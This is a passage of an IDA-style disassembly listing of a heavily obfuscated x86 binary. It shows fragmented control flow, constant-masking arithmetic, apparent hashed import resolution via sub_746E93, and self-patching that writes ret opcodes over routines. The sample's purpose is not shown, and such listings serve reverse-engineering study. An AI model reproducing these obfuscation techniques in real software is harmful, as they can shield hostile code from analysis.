loc_753181:				; CODE XREF: sub_74E3F7:loc_7535EBj
		sbb	edx, 44E729FCh
		popf
		jmp	loc_74D112
; END OF FUNCTION CHUNK	FOR sub_74E3F7
; ---------------------------------------------------------------------------
		ror	eax, 1Ch
		jmp	sub_757671
; ---------------------------------------------------------------------------


loc_753195:				; CODE XREF: _0z4jwtox:00753933j
		mov	edi, 8DD39E5Bh
		jmp	loc_75464E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jno	loc_748D4F
		mov	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_756826


loc_7531A9:				; CODE XREF: sub_756826:loc_747FAFj
		push	edx
		jmp	loc_748316
; END OF FUNCTION CHUNK	FOR sub_756826

; =============== S U B	R O U T	I N E =======================================



sub_7531AF	proc near		; DATA XREF: _0z4jwtox:0074EB1Do
		xchg	ebx, [esp+0]
		jmp	sub_746E93
sub_7531AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_7531B7	proc near		; CODE XREF: _0z4jwtox:00747E3Ep
					; _0z4jwtox:0074B164j

; FUNCTION CHUNK AT 0074AD7F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074D9D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754F57 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:off_41F19C, eax
		lea	eax, sub_74BD26
		jmp	loc_74D9D6
sub_7531B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7531CC:				; CODE XREF: _0z4jwtox:0074B5F6j
		jmp	ds:dword_41F174
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CCB1


loc_7531D2:				; CODE XREF: sub_74CCB1+10j
		jmp	loc_74FA31
; END OF FUNCTION CHUNK	FOR sub_74CCB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_7531D7:				; CODE XREF: sub_74F78B-73B4j
		jmp	loc_74DCA0
; END OF FUNCTION CHUNK	FOR sub_74F78B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		and	byte ptr [esi+0], 0
		pop	edx
		push	offset sub_745243
		jmp	loc_7539CF
; ---------------------------------------------------------------------------


loc_7531ED:				; CODE XREF: _0z4jwtox:007570C5j
		and	eax, 0FBD91F5Ch
		add	eax, 0BDEE036Dh
		call	sub_746E93
		push	ecx
		jmp	loc_74F41D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74EB61


loc_753204:				; CODE XREF: sub_74EB61:loc_74C0F2j
		xchg	ebx, [esp+0Ch+var_C]
		mov	eax, ebx
		pop	ebx
		sub	eax, 0A4CFD5B3h
		xor	eax, 83FE00B4h
		jns	loc_745022
; END OF FUNCTION CHUNK	FOR sub_74EB61
; START	OF FUNCTION CHUNK FOR sub_74FEAF


loc_75321C:				; CODE XREF: sub_74FEAF+10j
		jmp	loc_751165
; END OF FUNCTION CHUNK	FOR sub_74FEAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_753221:				; CODE XREF: sub_7462C2:loc_7510BBj
		add	ebp, edx
		xor	ebp, ebx
		jmp	loc_745022
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_75322A:				; CODE XREF: sub_74D1F3-71BAj
		add	ebp, edx
		jmp	loc_748AE2
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_753231:				; CODE XREF: sub_748B44:loc_7504FCj
		sub	al, 99h
		push	0ED8D5052h
		pop	edx
		jmp	loc_74EA90
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
		push	56A1B224h
		pop	eax
		and	eax, 6F8199FEh
		add	eax, 84FEBA0Ch
		call	sub_746E93
		jmp	loc_748AED
; ---------------------------------------------------------------------------


loc_75325A:				; CODE XREF: _0z4jwtox:00755127j
		ja	loc_7505A7
		xor	eax, ebx
		shr	ecx, 12h


loc_753265:				; CODE XREF: _0z4jwtox:loc_755111j
		add	ecx, 0FBF1A6ADh
		add	ecx, ebp
		add	ecx, 35244513h
		mov	[ecx], eax
		jmp	loc_74F0D1
; ---------------------------------------------------------------------------


loc_75327A:				; CODE XREF: _0z4jwtox:00749591j
		add	ebx, 1AF171D6h
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_75100C
		mov	byte ptr [eax],	0C3h
		jmp	loc_74D012
; ---------------------------------------------------------------------------
		push	eax
		push	0A8E3B3B5h
		pop	eax
		jmp	loc_749C4D
; ---------------------------------------------------------------------------


loc_75329D:				; CODE XREF: _0z4jwtox:007451A0j
		jns	loc_74B219


loc_7532A3:				; CODE XREF: _0z4jwtox:loc_74F02Fj
		rol	edi, 1Dh
		cmp	edi, 0B16B60FEh
		jmp	loc_74C6B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FB89


loc_7532B1:				; CODE XREF: sub_74FB89+Dj
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		push	offset loc_754D31
		jmp	loc_752BF7
; END OF FUNCTION CHUNK	FOR sub_74FB89
; ---------------------------------------------------------------------------


loc_7532C7:				; CODE XREF: _0z4jwtox:00747805j
		jz	loc_74F4C3
		sub	al, 99h
		push	91C85389h
		pop	edx
		and	edx, 48198F9h
		add	edx, 99B2D444h
		and	edx, 2AB8825Fh
		jmp	loc_754690
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746869


loc_7532EC:				; CODE XREF: sub_746869:loc_74B704j
		xchg	ebx, ebp
		jno	sub_753019
		jmp	loc_74C697
; END OF FUNCTION CHUNK	FOR sub_746869
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ED5F


loc_7532F9:				; CODE XREF: sub_74ED5F:loc_7457F8j
		mov	ebx, edx
		pop	edx
		xor	ebx, 0C4E9CEAAh
		rol	ebx, 19h
		jmp	loc_7515F4
; END OF FUNCTION CHUNK	FOR sub_74ED5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BB8


loc_75330A:				; CODE XREF: sub_748BB8-2ACCj
		add	ecx, 7FD41F08h
		xchg	ecx, [esp+8+var_8]
		jmp	loc_754960
; END OF FUNCTION CHUNK	FOR sub_748BB8
; ---------------------------------------------------------------------------
		mov	eax, 0D53D974Bh
		push	offset loc_74D2DE
		jmp	locret_745F59
; ---------------------------------------------------------------------------


loc_753327:				; CODE XREF: _0z4jwtox:0074D028j
		popf


loc_753328:				; CODE XREF: _0z4jwtox:loc_74D01Cj
		and	eax, 0EBDFA17Eh
		sub	eax, 155A655Ah
		xor	eax, 0AC6D169Ch
		call	sub_746E93
		mov	ds:off_41F08C, eax
		jmp	loc_74C50E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755CFC


loc_75334B:				; CODE XREF: sub_755CFC-D524j
		jmp	loc_74B6D7
; END OF FUNCTION CHUNK	FOR sub_755CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F594


loc_753350:				; CODE XREF: sub_74F594:loc_74C177j
		cmp	ax, 0A5B3h
		jnz	loc_754234
		retn
; END OF FUNCTION CHUNK	FOR sub_74F594
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75422B


loc_75335B:				; CODE XREF: sub_75422B:loc_754234j
		sub	ebx, 10000h
		jmp	loc_7541E0
; END OF FUNCTION CHUNK	FOR sub_75422B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754175


loc_753367:				; CODE XREF: sub_754175-C92j
		jmp	nullsub_181
; END OF FUNCTION CHUNK	FOR sub_754175
; ---------------------------------------------------------------------------


loc_75336C:				; CODE XREF: _0z4jwtox:007528C4j
		jmp	loc_74EE88
; ---------------------------------------------------------------------------


loc_753371:				; CODE XREF: _0z4jwtox:0074BB53j
		jnz	loc_74CC66
; START	OF FUNCTION CHUNK FOR sub_755892


loc_753377:				; CODE XREF: sub_755892+16j
		jmp	nullsub_241
; END OF FUNCTION CHUNK	FOR sub_755892
; ---------------------------------------------------------------------------
		dd 0E9DF3B51h, 0FFFF621Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_753384:				; CODE XREF: sub_745A78+3A9Cj
		mov	ebx, edx
		jnz	nullsub_7
		rol	edx, 0Ah
		jmp	loc_754A16
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------


loc_753394:				; CODE XREF: _0z4jwtox:0074C6AEj
		add	eax, 8D2ADA4Fh
		xchg	ecx, [esi]
		push	ecx
		and	esi, 4101A732h


loc_7533A3:				; CODE XREF: _0z4jwtox:loc_745000j
		mov	eax, 0A2CD59D9h
		call	sub_746E93
		rol	eax, 1Ah
		xor	eax, 0DB893C7Eh
		jmp	loc_74DF16
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7533BC:				; CODE XREF: _0z4jwtox:0075401Aj
		jmp	locret_74D5B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_7533C1:				; CODE XREF: sub_748A22+7428j
		jmp	loc_7454A9
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------


loc_7533C6:				; CODE XREF: _0z4jwtox:loc_754C0Bj
		jge	loc_75047A
; START	OF FUNCTION CHUNK FOR sub_749BBA


loc_7533CC:				; CODE XREF: sub_749BBA-32F6j
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_749BBA
; ---------------------------------------------------------------------------
		and	esi, edx
		jmp	loc_75046F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_293. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_7533D9:				; CODE XREF: sub_74C670+3ECFj
		jnz	loc_747BD0
		jmp	loc_74BD5F
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_7533E4:				; CODE XREF: _0z4jwtox:loc_74F3A4j
		xor	ecx, 93E4FAF6h
		call	sub_74A0BD


loc_7533EF:				; CODE XREF: _0z4jwtox:00751F78j
		cmp	edi, edx
		jmp	loc_74A24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_7533F6:				; CODE XREF: sub_75364C-37E1j
		mov	edi, 5A5D366h
		or	esi, 1FF96369h


loc_753401:				; CODE XREF: sub_75364C:loc_7469DAj
		call	sub_74985C


loc_753406:				; CODE XREF: _0z4jwtox:0074FCC3j
		jmp	loc_7522A2
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_75340B:				; CODE XREF: sub_74D23E-5194j
		jmp	loc_755C2D
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_753410:				; CODE XREF: sub_7543C5-5B4Aj
		pop	ebx
		push	ebx
		push	3B695452h
		pop	ebx
		and	ebx, 0EA5FD68Bh
		sub	ebx, 6C9D39DAh
		jmp	loc_74A4F8
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C68


loc_753429:				; CODE XREF: sub_754C68:loc_74CDE2j
		jz	loc_752192
		jmp	loc_755624
; END OF FUNCTION CHUNK	FOR sub_754C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_753434:				; CODE XREF: sub_7463AE+AC7Fj
		and	ebp, edx
		add	ebx, eax
		sub	ebx, 3083C36Fh
		test	ebx, ecx
		jmp	loc_750C3B
; END OF FUNCTION CHUNK	FOR sub_7463AE
; ---------------------------------------------------------------------------
		jmp	ds:off_41F098
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75051C


loc_75344B:				; CODE XREF: _0z4jwtox:loc_74A508j
					; sub_750202:loc_74E22Ej ...
		jo	loc_752364
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_75051C
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_753452:				; CODE XREF: sub_74673E:loc_750730j
		mov	eax, [esp+0]
		jmp	loc_74CB6F
; END OF FUNCTION CHUNK	FOR sub_74673E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7545C6


loc_75345B:				; CODE XREF: sub_7545C6+15j
		jmp	loc_748933
; END OF FUNCTION CHUNK	FOR sub_7545C6
; ---------------------------------------------------------------------------
		adc	ebx, 0CE41B9FFh
		jmp	loc_74BA18
; ---------------------------------------------------------------------------
		call	nullsub_278
		jmp	ds:dword_41F0D4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_278. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_74C9FF
		jmp	loc_74A191
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_753482:				; CODE XREF: sub_749306:loc_75121Aj
		pop	edx
		add	edx, 86FC08DCh
		xor	edx, 18F270CBh
		and	edx, 0B4BDC9B0h
		xor	edx, 8E1740E8h
		add	edx, ebp
		call	sub_75309B


loc_7534A2:				; CODE XREF: sub_74CF35-45C7j
		jmp	nullsub_110
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------


loc_7534A7:				; CODE XREF: _0z4jwtox:0074678Cj
		jmp	loc_751E95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746DD8


loc_7534AC:				; CODE XREF: sub_746DD8-1B9Aj
		jmp	loc_74F28B
; END OF FUNCTION CHUNK	FOR sub_746DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_7534B1:				; CODE XREF: sub_74946E:loc_7490B9j
		push	edx
		push	99040E65h
		pop	edx
		rol	edx, 6
		add	edx, 3711AC06h
		jmp	loc_74B650
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754175


loc_7534C6:				; CODE XREF: sub_754175:loc_753B98j
		add	eax, 0CD66438Dh
		add	eax, ebp
		add	eax, 0E6DFE46Fh
		mov	eax, [eax]
		call	sub_750638


loc_7534DB:				; CODE XREF: sub_74F53E-1EAj
					; _0z4jwtox:00754F46j
		mov	[ebp-14h], eax
		push	offset sub_74BA92
		jmp	loc_753367
; END OF FUNCTION CHUNK	FOR sub_754175
; ---------------------------------------------------------------------------


loc_7534E8:				; CODE XREF: _0z4jwtox:loc_755DB2j
		retn
; ---------------------------------------------------------------------------
		jno	loc_754CF0
		jmp	sub_7578F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_7534F4:				; CODE XREF: _0z4jwtox:loc_74EE88j
					; sub_74D1F3:loc_74EE97j
		and	eax, 0E2350F87h
		or	eax, 0DC0EB0FDh
		sub	eax, 1ABF43E7h
		add	eax, 1F1531BCh
		xchg	eax, [esp-4+arg_0]
		jmp	loc_746701
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_751078


loc_753514:				; CODE XREF: sub_751078:loc_74EE4Ej
		call	sub_754FC6
		mov	edx, 0B9726E5Ah
		call	sub_74B525
		push	offset loc_74B510
		jmp	loc_75626F
; END OF FUNCTION CHUNK	FOR sub_751078
; ---------------------------------------------------------------------------
		sbb	ecx, 6A42C939h
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_753533:				; CODE XREF: sub_74D23E:loc_75409Bj
		jmp	loc_74BB98
; END OF FUNCTION CHUNK	FOR sub_74D23E

; =============== S U B	R O U T	I N E =======================================



sub_753538	proc near		; CODE XREF: _0z4jwtox:00754444j
					; sub_7562D5-1D6Ep

; FUNCTION CHUNK AT 00755A4C SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 0F3ADB074h
		mov	[edx], eax
		pop	edx
		jmp	loc_755A4C
sub_753538	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_746CF0
		retn
; ---------------------------------------------------------------------------
		db 0D3h
dword_753554	dd 1183B867h						; sub_756496:loc_74FF8Er ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_753558:				; CODE XREF: sub_747A94+758j
		jmp	loc_74B0D3
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
		call	nullsub_18
		jmp	loc_7521FD
; ---------------------------------------------------------------------------


loc_753567:				; DATA XREF: sub_75375E-6E58o
		mov	eax, [ebp-4]
		mov	al, [eax]
		jo	loc_751519
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_754C9B
; ---------------------------------------------------------------------------


loc_75357C:				; CODE XREF: _0z4jwtox:00755EAEj
		pop	ecx
		xor	ecx, 0EAB4CCCCh
		rol	ecx, 0Ch
		add	ecx, 87DEBBD5h
		xor	ecx, 8EE6652Dh
		push	offset loc_753811
		jmp	locret_754D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7542FD


loc_75359C:				; CODE XREF: sub_7542FD+15j
		or	eax, 0F631A1FBh
		push	offset loc_74FBCB
		jmp	nullsub_164
; END OF FUNCTION CHUNK	FOR sub_7542FD
; ---------------------------------------------------------------------------
		xchg	ebx, [edx]
		jmp	sub_749FD7

; =============== S U B	R O U T	I N E =======================================



sub_7535B3	proc near		; CODE XREF: _0z4jwtox:0074E336j
					; sub_752B0C-3D04p

; FUNCTION CHUNK AT 0074E3ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754EB0 SIZE 00000003 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]


loc_7535B9:				; CODE XREF: sub_7544F1+21EAj
		add	eax, [ebp-4]
		jmp	loc_74E3ED
sub_7535B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		push	0AC64D7Ch
		pop	edx
		rol	edx, 13h
		jmp	loc_7546E9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_270. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	byte ptr [eax-0Bh], 0FFh
		jmp	fword ptr [eax-26h]
; ---------------------------------------------------------------------------
		dd 0E90074EAh, 2AE8h

; =============== S U B	R O U T	I N E =======================================



sub_7535E0	proc near		; CODE XREF: sub_41B513+59p
					; sub_41B513+8Dp ...
		call	sub_7535F0
		jmp	ds:off_41F02C
sub_7535E0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E3F7


loc_7535EB:				; CODE XREF: sub_74E3F7+1FC0j
		jmp	loc_753181
; END OF FUNCTION CHUNK	FOR sub_74E3F7

; =============== S U B	R O U T	I N E =======================================



sub_7535F0	proc near		; CODE XREF: _0z4jwtox:0074802Fj
					; sub_7535E0p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00747F3F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007521D4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00752669 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00752BE5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0075456C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756132 SIZE 00000019 BYTES

		pop	edx
		jnb	loc_747F3F
		jmp	loc_756132
sub_7535F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462FD


loc_7535FC:				; CODE XREF: sub_7462FD+105F2j
		mov	byte ptr [eax],	0C3h
		jmp	loc_74A9B1
; END OF FUNCTION CHUNK	FOR sub_7462FD
; ---------------------------------------------------------------------------
		call	sub_74C45E
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_753609:				; CODE XREF: sub_74F688-6914j
		jmp	loc_75643F
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0B05936B6h
		js	loc_755697
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_75361B:				; CODE XREF: sub_755F42+11j
		jmp	nullsub_171
; END OF FUNCTION CHUNK	FOR sub_755F42
; ---------------------------------------------------------------------------


loc_753620:				; CODE XREF: _0z4jwtox:0075005Ej
		jmp	loc_74CC44
; ---------------------------------------------------------------------------
		adc	ebp, 7D82D109h
		jmp	loc_75115D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_753630:				; CODE XREF: sub_748A22:loc_74CA50j
		jz	loc_756EC2
		jmp	loc_74DB25
; END OF FUNCTION CHUNK	FOR sub_748A22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_75363C:				; CODE XREF: sub_74F688+6F60j
		jmp	loc_74A854
; END OF FUNCTION CHUNK	FOR sub_74F688
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_753642:				; CODE XREF: _0z4jwtox:007548DBj
		jmp	loc_756118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_753647:				; CODE XREF: sub_747B31+Dj
		jmp	loc_74D7EE
; END OF FUNCTION CHUNK	FOR sub_747B31

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_75364C	proc near		; CODE XREF: sub_752737:loc_7486A2j
					; sub_7500AE:loc_748E39j ...

var_6		= byte ptr -6
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007452CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00745B54 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007467CA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 007469DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747166 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747482 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749408 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074ADB7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074FE1C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074FE66 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00750269 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 007509BF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007522A2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 007533F6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00754B77 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756CBA SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp


loc_75364F:				; CODE XREF: sub_755E40:loc_748A06j
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jmp	loc_7509BF
sub_75364C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_75365B:				; CODE XREF: sub_746640+F7E1j
		add	esp, 8
		mov	eax, [eax]
		push	ecx
		push	0BAD152EBh
		pop	ecx
		jmp	loc_7522D4
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756974


loc_75366C:				; CODE XREF: sub_756974:loc_752AAAj
		call	sub_7490F6
		mov	eax, 147A4491h
		call	sub_746E93
		mov	ds:off_41F094, eax
		lea	eax, sub_756974
		mov	byte ptr [eax],	0C3h
		jmp	sub_756974
; END OF FUNCTION CHUNK	FOR sub_756974

; =============== S U B	R O U T	I N E =======================================



sub_75368F	proc near		; DATA XREF: sub_74FA7E+5ABCo
		add	esi, 1341A6BBh
		mov	[esi], eax
sub_75368F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_753697:				; CODE XREF: sub_748FA4+CF41j
		pop	esi
		lea	eax, nullsub_14
		mov	byte ptr [eax],	0C3h
		jmp	loc_74C0ED
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------


loc_7536A6:				; CODE XREF: _0z4jwtox:0074D6E3j
		mov	eax, [esp]
		jmp	loc_74D4AA
; ---------------------------------------------------------------------------


loc_7536AE:				; CODE XREF: _0z4jwtox:0074D48Dj
					; _0z4jwtox:loc_74E647j
		push	offset sub_748B89
		jmp	loc_749CA4
; ---------------------------------------------------------------------------
		sub	edi, ecx


loc_7536BA:				; CODE XREF: _0z4jwtox:00755691j
		jmp	loc_7515A4
; ---------------------------------------------------------------------------


loc_7536BF:				; CODE XREF: _0z4jwtox:loc_745E0Aj
					; _0z4jwtox:007462B8j
		push	0E6800E8Ah
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		add	eax, 7A4F7669h
		jmp	loc_74FE8B
; ---------------------------------------------------------------------------
		xor	ecx, eax
		jmp	sub_748ABC
; ---------------------------------------------------------------------------


loc_7536DC:				; DATA XREF: sub_74B305:loc_7567D5o
		mov	eax, [esp]


loc_7536DF:				; CODE XREF: _0z4jwtox:loc_750A14j
		push	edx
		call	sub_754A3D
		mov	eax, 0B98DBDD7h
		push	esi
		push	10DFA6EFh
		pop	esi
		rol	esi, 16h
		jmp	loc_74E880
; ---------------------------------------------------------------------------


loc_7536F9:				; CODE XREF: _0z4jwtox:0074982Aj
		rol	esi, 9
		ror	esi, 5
		push	eax
; START	OF FUNCTION CHUNK FOR sub_757498


loc_753700:				; CODE XREF: sub_757498:loc_74981Aj
		rol	eax, 13h
		add	eax, 9270ED58h
		xchg	eax, [esp+0]
		jmp	sub_745715
; END OF FUNCTION CHUNK	FOR sub_757498
; ---------------------------------------------------------------------------
		mov	ds:off_41F17C, eax
		call	sub_750CD5


loc_75371C:				; CODE XREF: _0z4jwtox:00755309j
		jmp	loc_75392D
; ---------------------------------------------------------------------------
		jmp	ds:off_41F010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B305


loc_753727:				; CODE XREF: sub_74B305:loc_7523CFj
					; sub_750243:loc_75561Fj ...
		pop	edx
		jo	loc_7567D5
		mov	eax, [esp+0]
		push	edx
		push	ecx
		push	offset loc_74F0E7
		jmp	loc_749280
; END OF FUNCTION CHUNK	FOR sub_74B305
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7465D2


loc_75373D:				; CODE XREF: sub_7465D2+1E25j
		or	ebx, 2B63B263h
		xor	ebx, 9ACAD50Ah
		add	ebx, ebp
		add	ebx, 8E4AD583h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_74B941
; END OF FUNCTION CHUNK	FOR sub_7465D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A83D


loc_753759:				; CODE XREF: sub_74A83D+AAFEj
		mov	ecx, esi
		pop	esi
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74A83D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_75375E	proc near		; CODE XREF: sub_748871p
					; sub_74BACE-2E48j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074C900 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074ED92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754F5D SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		jmp	loc_754F5D
sub_75375E	endp

; ---------------------------------------------------------------------------
		cdq
		jmp	loc_745947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBE6


loc_75376F:				; CODE XREF: sub_74CBE6+A65Cj
		add	dword ptr [ebp-8], 2
		jmp	loc_74CBFD
; END OF FUNCTION CHUNK	FOR sub_74CBE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BED4


loc_753778:				; CODE XREF: sub_75263A-A35Cj
					; sub_74BED4+8j
		test	byte ptr [ebp-8], 20h
		jz	loc_748B31
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_756741
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_746DC8
; END OF FUNCTION CHUNK	FOR sub_74BED4
; ---------------------------------------------------------------------------


loc_753794:				; CODE XREF: _0z4jwtox:00747943j
		add	ebp, 9175699Fh

; =============== S U B	R O U T	I N E =======================================



sub_75379A	proc near		; CODE XREF: sub_749D35+7p

; FUNCTION CHUNK AT 0074C2DF SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnb	loc_74DE2C
		mov	eax, [ebp+8]
		jmp	loc_74C2DF
sub_75379A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BCF7


loc_7537AC:				; CODE XREF: sub_74BCF7+6j
		mov	eax, esi
		xchg	eax, [esp+4+var_4]
		push	offset sub_7564D5
